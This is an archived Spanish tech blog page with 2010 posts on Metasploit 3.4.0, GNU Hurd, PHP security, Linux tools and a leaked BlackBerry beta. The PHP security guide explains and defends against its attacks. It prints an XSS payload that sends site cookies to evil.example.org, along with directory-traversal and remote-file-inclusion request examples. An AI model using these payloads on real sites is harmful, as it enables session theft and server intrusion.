Archive

Archive for the ‘Informática’ Category

Hackear Headset Bluethoot

Mayo 26th, 2010 guerremdq No comments

Video bastante interesante. Nos muestra una forma muy sencilla de penetrar un headset bluethoot.

Fuente www.tinkernut.com

Metasploit 3.4.0

Mayo 26th, 2010 guerremdq No comments
“El Proyecto Metasploit es un proyecto open source de seguridad informática que proporciona información acerca de vulnerabilidades de seguridad y ayuda en tests de penetración y en el desarrollo de firmas para Sistemas de Detección de Intrusos.
Su subproyecto más conocido es el Metasploit Framework, una herramienta para desarrollar y ejecutar exploits contra una máquina remota. Otros subproyectos importantes son la bases de datos de opcodes (códigos de operación), un archivo de shellcodes, e investigación sobre seguridad. Inicialmente fue creado utilizando el lenguaje de programación de scripting Perl, aunque actualmente el Metasploit Framework ha sido escrito de nuevo completamente en el lenguaje Ruby.”
Después de cinco meses de desarrollo, la versión 3.4.0 del Metasploit Framework se ha liberado. Desde la versión 3.3 de Metasploit se añadieron más de 100 exploits nuevos y se han corregido más de 200 errores, Metasploit ahora tiene 551 exploit y 261 módulos auxiliares.
Esta versión incluye:
  • Enormes mejoras en los payloads de Meterpreter; tanto en términos de estabilidad y características.
  • Los Payloads de Meterpreter ahora puede realizar capturas de pantalla sin tener que migrar.
  • Tiene capacidad de migrar procesos de 32-bits y 64-bits a  un sistema operativo comprometido Windows de 64-bits.
  • Un nuevo comando, “getsystem“, utiliza varias técnicas para obtener acceso al sistema desde una sesión con pocos privilegios o de administrador.
  • Esta es la primera versión de Metasploit en tener un fuerte avance en fuerza bruta de protocolos de red y acceder con credenciales crakeadas. Esta versión incluye fuerza bruta a través de SSH, Telnet, MySQL, Postgres, SMB, DB2, y más…

Full Metasploit 3.4.0 Release Notes

Descargar Metasploit 3.4.0:

Web oficial: http://www.metasploit.com/

fuente : http://blackploit.blogspot.com/

Descomprimir de manera super-facil

Mayo 6th, 2010 admin No comments

Si ya estas cansado de cada vez que descomprimís un archivo le erras a alguno de los parámetros del programa tar podes probar unp.

Que es unp ?
Desempaquete (casi) todo con una sola orden
unp es un pequeño script en perl que hace un poco más fácil la extracción
de ficheros de un archivador. Puede usar varios programas de compresión y
archivado, elige el(los) correcto(s) automáticamente y extrae uno o más
ficheros de una sola vez

Como lo instalamos ?

aptitude install unp

Como lo usamos ?

unp archivo.tar.gx

unp archivo.bz2

Sigue progresando Hurd

Mayo 6th, 2010 admin No comments

Hurd es un gran proyecto que viene siendo el reemplazo del kernel Unix, que por ahora esta teniendo un gran avance en su desarrollo, el cual ha tomado mucho tiempo por la complejidad de su arquitectura, por ahora ya son dos proyectos grandes que apoyan y desarrollan este núcleo 100 % libre.

En este mes de abril podemos leer que el proyecto Hurd ya esta empezando a tener mucho movimiento en la parte de desarrollo. lo que viene ayudando mucho es la alta actividad de los desarrolladores de ArchHurd, que con unos pocos meses de trabajo ya tiene gran parte del sistema funcionando.

Debian es de los que desde hace tiempo esta desarrollado este kernel hurd:

Actualmente, Debian sólo está disponible para Linux, pero con Debian GNU/Hurd también hemos empezado a ofrecer el GNU/Hurd como plataforma para desarrollo y servidores, así como para sistema de escritorio. No obstante, Debian GNU/Hurd todavía no ha sido distribuido oficialmente, y no lo será durante algún tiempo.

Por ahora un 66% de los paquetes de Debian estan disponibles en el port de Hurd, entre otros cambios como:

  • Se corrigió un bug en libxcl, por lo que X.org funciona “out of the box“.
  • Se creó un USB de GRUB para bootear Debian GNU/Hurd.

Otro proyecto es ArchHurd, que es un trabaja derivado de ArchLinux, lleva muchos cambios y mucho desarrollo en la cuestión de paquetes de la arquitectura i686, podemos ver el trabajo que lleva esta distribución gracias a la lista de correo:

Hemos pasado varios hitos importantes. Primero, logramos compilar cruzado un sistema booteable i686-pc-gnu. (…) ahora tenemos un toolchain actualizado y funcionando (gcc-4.4.3, glibc-2.11.1, binutils-2.20.1). Tenemos un gestor de paquetes funcionando (pacman) y la mayor parte de un sistema de desarrollo mínimo compilado (ver http://www.archhurd.org/packages.php para una lista de paquetes).

También se anunciaron otras noticias interesantes días después:

  • Se portaron los initscripts de ArchLinux a ArchHurd. Se puede ver a Hurd bootear con la apariencia de booteo familiar.
  • Una actualización al sistema permite particiones ext2 mayores a 2GB.
  • Con los initscripts vino el modo multi-usuario por defecto. Esto permite algunas sutilezas como consola VGA, similar a las consolas virtuales en Linux. Al haberse agregado shadow, los usuarios pueden tener contraseñas y se hizo más simple agregar más usuarios.
  • Hay más de 100 paquetes disponibles para ArchHurd (con solo 3 desarrolladores).
  • Hay una Wiki, una guía de instalación y una página para colaborar con el proyecto.

ArchHurd ya fue ejecutado por Alexander Preisinger en una laptop, esta es la primera vez que se ve Hurd en hardware real:

Otro gran punto es que en el Google Summer of Code 2010 se aceptaron tres proyectos de Hurd:

  • Producir imágenes funcionales del instalador de Debian para Debian GNU/Hurd.
  • Corregir problemas de compatibilidad expuestos por los casos de prueba de los proyectos. (Detalles)
  • Afinar el subsistema de VM en GNU/Hurd para actualizar la gestión de memoria virtual en Hurd/Mach a algo más cercano a kernels modernos.

Un gran avance para este genial núcleo 100% libre, que esperemos se siga desarrollando y esperemos que mas gente como nosotros podamos apoyar a este proyecto.

Visto en Picando Codigo

Seguridad en PHP

Abril 29th, 2010 guerremdq No comments
Escribir aplicaciones PHP no es extremadamente difícil. Pero muchos olvidan los aspectos de seguridad que deben ser tenidos en cuenta al implementar estas aplicaciones.
A veces no se piensa en el daño que puede sufrir un sitio web hasta que ya es demasiado tarde.
Se debe empezar a diseñar con cabeza y no ser meros robots codificando. Veamos un poco más a fondo las posibles amenazas y recomendaciones para hacer que nuestro sitio web sea un poco más seguro.
Inyección SQL

Este ataque se produce cuando un atacante ejecuta sentencias SQL en la base de datos del sitio web, insertando en un campo del formulario sentencias SQL dentro de otra sentencia SQL haciendo que se ejecute la sentencia invasora.

Se recomienda:

  • Filtrar los datos. Por ejemplo, si tenemos en nuestro formulario el campo username, y sabemos que los usuarios sólo pueden estar compuestos por letras y números, no se deben permitir caracteres como ” ‘ ” o ” = ” . O si se trata del campo e-mail, podemos utilizar expresiones regulares para validarlo, como preg_match('/^.+@.+\..{2,3}$/',$_POST['email'])
  • Usar funciones que escapan caracteres especiales de una cadena para su uso en una sentencia SQL, como mysql_real_escape_string(), la cual coloca barras invertidas antes de los siguientes caracteres: \x00, \n, \r, \, ‘, ” y \x1a. O addslashes(), (la directiva de PHP magic_quotes_gpc está activada por defecto, y básicamente ejecuta la función addslashes() en todos los datos GET, POST, y COOKIE. No se debe utilizar addslashes() en las cadenas que ya se han escapado con magic_quotes_gpc ya que se hará un doble escape).

XSS (Cross Site Scripting)

Las vulnerabilidades de XSS permiten ejecutar código de scripting en el contexto del sitio web:
  • Explotando la confianza que tiene un usuario de un sitio web. Puede que los usuarios no tengan un alto nivel de confianza en un sitio web, pero sí el navegador. Por ejemplo, cuando el navegador envía cookies en una petición.
  • Haciendo que los sitios web muestren datos externos. Como aplicaciones de mayor riesgo que incluyen foros, clientes de correo web, o contenido de RSS.
  • Cuando los datos externos no se filtran adecuadamente un atacante puede inyectar un contenido. Esto es tan peligroso como dejar que el atacante edite código en el servidor.
Un usuario que ejecute este código con JavaScript activado en su navegador será redireccionado a evil.example.org, y las cookies asociadas al sitio web serán incluidas en la consulta:


<script>document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie</script>

Se recomienda:
  • Filtrar todos los datos externos. El filtrado de datos es la práctica más importante que se puede adoptar. Al validar todos los datos externos a medida que entran y salen de la aplicación se mitigarán la mayoría de las preocupaciones del XSS.
  • Utilizar las funciones que tiene PHP que ayudan al filtrado. Pueden ser útiles htmlentities () que convierte caracteres a entidades HTML, strip_tags () que elimina las etiquetas HTML y PHP de una cadena y utf8_decode ().
  • Basarse en listas blancas. Supongamos que los datos no son válidos hasta que no se pruebe que lo son. Esto implica verificar la longitud y asegurar que sólo los caracteres válidos son permitidos. Por ejemplo, si se inserta el nombre y apellidos, se debe asegurar que sólo se permiten letras y espacios. Por ejemplo Berners-Lee se consideraría nula, pero esto se puede arreglar añadiendo este nombre a la lista blanca. Es mejor rechazar datos válidos que aceptar datos maliciosos.
  • Utilizar una convención de nomenclatura estricta. Una convención de nomenclatura puede ayudar a los desarrolladores a distinguir entre datos filtrados y sin filtrar.
CSRF (Cross Site Request Forgery)
Explota la confianza que tiene un sitio web en la identidad de un usuario.

Un ejemplo sería enviar los siguientes datos en la petición:


GET /buy.php?symbol=SCOX&quantity=1000 HTTP/1.1
Host: stocks.example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234

Se recomienda:

  • Utilizar POST en lugar de GET en los formularios. Sobre todo cuando se esté realizando una acción que involucra una compra.
  • Utilizar $_POST en lugar de confiar en register_globals. Utilizar el método POST es inútil si se confía en register_globals y se referencian variables como $symbol o $quantity. Lo mismo sucede si se utiliza $_REQUEST.
  • Generar un token único para cada petición y verificarlo posteriormente.

Directory Traversal

Este ataque se produce cuando se especifican rutas de ficheros como “../../../../file” en los datos del formulario y mediante un script se llama a estos ficheros. Proporcionando a un atacante la posibilidad de realizar cambios en el sistema de ficheros.

Si dentro del script de PHP se incluye: require $page . '.php'; Sabiendo que esta página se almacena en /home/someone/public_html/index.php, un atacante podría hacer index.php?page=../secret accediendo a /home/someone/secret.php

Se recomienda:

  • Tener un array de páginas válidas.
  • Comprobar que el archivo solicitado coincide con un formato concreto.

RFI (Remote File Inclusion)

Como su nombre indica, se produce cuando se incluye un archivo remoto.

Por ejemplo, si existe un archivo en la ruta http://example.com/malice.php y nuestro script se encuentra en http://site.com/index.php. Un atacante puede hacer esta petición: http://site.com/index.php?page=http://example.com/malice lo que provocará que el archivo se ejecute y escriba un nuevo fichero en disco. Pudiendo ser este fichero una shell que permita la ejecución de comandos.

O por ejemplo, asignar a page el valor http://example.com/malice.php? seguido de una consulta a base de datos.

Se recomienda:

  • No confiar en los datos que no provengan de nuestro sistema.
  • Se deben validar los datos que introduce el usuario.

Seguridad en sesiones

Las sesiones y las cookies pueden ser usadas para comprometer las cuentas de los usuarios. Cuando se almacena una cookie en el ordenador esta puede ser modificada por el usuario.

Se recomienda:

  • Cambiar el identificador de la sesión a menudo. Utilizando la función session_regenerate_id() se reduce la posibilidad de que el identificador sea interceptado.
  • Usando versiones PHP5.2 o posteriores se puede denegar al Javascript del navegador el acceso a la cookie activando el flag httponly.

Esta es una pequeña muestra de recomendaciones que hará que nuestra aplicación PHP sea algo más segura.

http://www.securitybydefault.com

Clientes IRC

Marzo 25th, 2010 guerremdq 1 comment

Parece mentira, pero a pesar del fenómeno que han causado las redes sociales como Facebook o Twitter las viejas y buenas tecnologías siguen manteniendo su validez y popularidad. Es el caso de IRC (Internet Relay Chat), un sistema que permite mantener conferencias multiusuario en las que es posible mantener una activa conversación en grupos de usuarios remotos de una forma sencilla y eficaz.

El protocolo IRC tiene especial relevancia en el mundo Linux: un montón de eventos y reuniones se celebran de forma virtual, y esta tecnología facilita la participación y la puesta en marcha de esos encuentros. Los clientes para poder conectarse a estas conferencias son multitud, aunque hay algunos destacados.

Y destacar clientes IRC es precisamente lo que han hecho en Linux.com, donde han analizado las ventajas y desventajas de 5 grandes clientes de IRC que permiten a los usuarios conectarse a estos servicios. Los protagonistas son los siguientes:

Read more…

Firefox 3.6.2

Marzo 25th, 2010 guerremdq No comments

Esta disponible una nueva version de Firefox que corrige algunos problemas que tienen las version anteriores de 3.6, como los siguientes:

* Corregido un problema de seguridad crítico que potencialmente permitía la ejecución remota de código (ver bug 552216).
* Se han corregido varios problemas de seguridad adicionales.
* Corregidos varios problemas de estabilidad.

http://www.mozilla.com/es-AR/

Cambiar de posicion los botos de ubuntu

Marzo 25th, 2010 guerremdq No comments

Cambiar los botos de ubuntu a la normalidad

Lo primero es descargar window_controls.py y darle permisos para ejecutarse:

chmod +x window_controls.py

o con click derecho Propiedades > Permisos y seleccionamos Permitir ejecutar el archivo como un programa

ahora ejecutamos en la terminal:

./window_controls.py

o damos doble click sobre el archivo y listo podremos seleccionar donde queremos los botones de las ventanas:

Visto en Actualidad GNU/Linux

Backup con lftp

Marzo 25th, 2010 guerremdq 1 comment

Backup con lftp

lftp es una aplicación manejada desde la terminal y destinada a realizar transferencias mediante protocolos ftp, http, fish, sftp, ftps y https. Permite realizar operaciones combinadas, siendo sencillo transferir, borrar, realizar backups incrementales, etc. Todo ello, mediante unas simples órdenes en la terminal que, incluso, podrán ser guardadas en un .txt para no necesitar escribirlas de nuevo; y con independencia del SO instalado en el servidor. A continuación, encontraréis un breve tutorial de iniciación a esta aplicación.

lftp se encuentra en los repositorios de numerosas distribuciones. Si no es vuestro caso, podéis descargarlo desde su web oficial.

Empecemos… La orden básica de conexión es:

Read more…

OS 5.0.0.464 Blackberry 9000

Febrero 2nd, 2010 guerremdq No comments

Se ha filtrado una nueva beta del OS 5.0 para el BlackBerry Bold 9000, su Número de Versión es 5.0.0.464. (Para la version 5.0.0.461 del BlackBerry Curva 8900 visiten este LINK)

La pueden descargar:

Descargar OS 5.0.0.464 Bold 9000: http://bit.ly/ccCuYB

Descargar OS 5.0.0.464 Bold 9000: Deposit Files

Descargar OS 4.0.0.464 Bold 9000 (MegaUpload) :MEGAUPLOAD – The leading online storage and file delivery service

**Es una versión BETA, así que tomen las previsiones del caso antes de instalarla.. un respaldo es su mejor amigo**

Fuente : http://zonablackberry.com.ve

Power by Debian, Apache